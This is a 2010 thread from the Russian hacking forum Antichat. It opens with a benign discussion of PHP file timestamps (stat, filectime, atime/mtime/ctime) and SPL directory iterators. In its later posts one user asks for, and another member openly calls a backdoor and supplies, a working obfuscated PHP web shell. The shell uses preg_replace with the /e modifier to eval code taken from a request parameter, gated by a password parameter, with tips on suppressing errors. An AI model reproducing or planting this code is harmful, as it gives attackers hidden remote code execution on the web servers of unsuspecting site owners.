Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

01.06.2010, 11:07
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
И filectime() не поможет
Note: Note also that in some Unix texts the ctime of a file is referred to as being the creation time of the file. This is wrong. There is no creation time for Unix files in most Unix filesystems.
|
|
|

01.06.2010, 11:21
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
Сообщение от krypt3r
И filectime() не поможет
stat() по описанию под виндой вообще работать не должен( -1 вернет ), а filectime() вернет не верный результат в случае если измены права на файл или группа.
|
|
|

01.06.2010, 12:22
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
В SPL уже есть вполне рабочие методы для работы с файлами.
Например, При работе с рекурсивным просмотром директорий(RecursiveDirectoryIterator).
Хорошее описание есть в офф манах. Да и всякой всячины там полно, и работать удобнее. Если что-то не так, то выведет соответствующую ошибку, которую можно отловить теми-же исключениями, опять же из spl 
Описаловка тут:
http://www.php.net/~helly/php/ext/spl/classRecursiveDirectoryIterator.html
//правда нужен php5, если память не изменяет.
|
|
|

01.06.2010, 13:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Ins3t хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой.
DonKihot файловым системам нисколько не интересно, когда файл был создан. Они оперируют 3 временами, о которых нам например может рассказать ман:
Код:
The field st_atime is changed by file accesses, e.g. by execve(2), mknod(2), pipe(2), utime(2) and read(2) (of more than zero bytes).
Other routines, like mmap(2), may or may not update st_atime.
The field st_mtime is changed by file modifications, e.g. by mknod(2), truncate(2), utime(2) and write(2) (of more than zero bytes).
Moreover, st_mtime of a directory is changed by the creation or deletion of files in that directory. The st_mtime field is not changed
for changes in owner, group, hard link count, or mode.
The field st_ctime is changed by writing or by setting inode information (i.e., owner, group, link count, mode, etc.).
Таким образом. atime - изменяется при чтении файла, mtime - при записи в файл, ctime - при изменении аттрибутов. Однако тот же ман говорит:
PHP код:
Not all of the Linux filesystems implement all of the time fields. Some file system types allow mounting in such a way that file
accesses do not cause an update of the st_atime field. (See ‘noatime’ in mount(8).)
То есть на НЕКОТОРЫХ системах можно смотреть на atime как время создания файла, но всецело полагаться на это не стоит.
Если уж вам настолько критично именно создание файла, то либо создавайте в БД таблицу, с датой заливки файла, либо смотрите минимальную дату среди mtime, ctime и atime
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
|
|
|

01.06.2010, 15:43
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме: 2083691
Репутация:
330
|
|
хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой.
Да, Вы правы, действительно сказано, что blksize доступен только на системах, поддерживающих тип st_blksize - другие системы (например Windows) вернут -1. Прочел описание по диагонали.
|
|
|

01.06.2010, 16:33
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Подскажите, как в функции preg_replace() во втором параметре выставить небольшую проверку переменной?
Мне нужен рабочий код:
Код:
preg_replace('@(.+)@ie','if ($_REQUEST[cmd2] == "ass") {eval("\\1");die;}','$_REQUEST[cmd]');
Но такая конструкция не поддерживается функцией preg_replace, можно ли как по другому в самой функции сделать проверку?
PS: тока не советуйте
if ($_REQUEST[cmd2] == "ass")
preg_replace() и т.д...
|
|
|

01.06.2010, 16:39
|
|
Познающий
Регистрация: 07.02.2010
Сообщений: 70
Провел на форуме: 217996
Репутация:
56
|
|
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?
вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');
если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243
ps: надеюсь, константа cmd2 у тебя задана  и третий аргумент - не переменная, а текст 
Последний раз редактировалось roxblnfk; 01.06.2010 в 16:45..
Причина: ололо
|
|
|

01.06.2010, 17:04
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Сообщение от roxblnfk
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?
вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');
если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243
ps: надеюсь, константа cmd2 у тебя задана  и третий аргумент - не переменная, а текст 
Смотрим внимательнее, и видим ключ e у регулярки. А теперь дружно топаем в гугл и смотрим, что же он делает.
|
|
|

01.06.2010, 17:07
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от roxblnfk
а чё у тебя всё в кавычках? xD
какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?
вобщем:
preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');
если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243
ps: надеюсь, константа cmd2 у тебя задана  и третий аргумент - не переменная, а текст 
при передаче cmd2 ="ass" или без передачи ничего не выводится, константа тут не должна играть роли, ибо всё работает и без определения переменной, есть cmd2 или его нету.
|
|
|

01.06.2010, 17:32
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Nightmare Зачем такой сложный бекдор, если можно глушить ошибки с помощью "@" ? А так рабочий вариант:
PHP код:
<?PHP
$_REQUEST['cmd2']="ass";
$_REQUEST['cmd'] = 'phpinfo();';
preg_replace('@(.+)@ie',($_REQUEST[cmd2] == "ass")?"eval('\\1');die;":"",$_REQUEST[cmd]);
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
Последний раз редактировалось Gifts; 01.06.2010 в 17:38..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|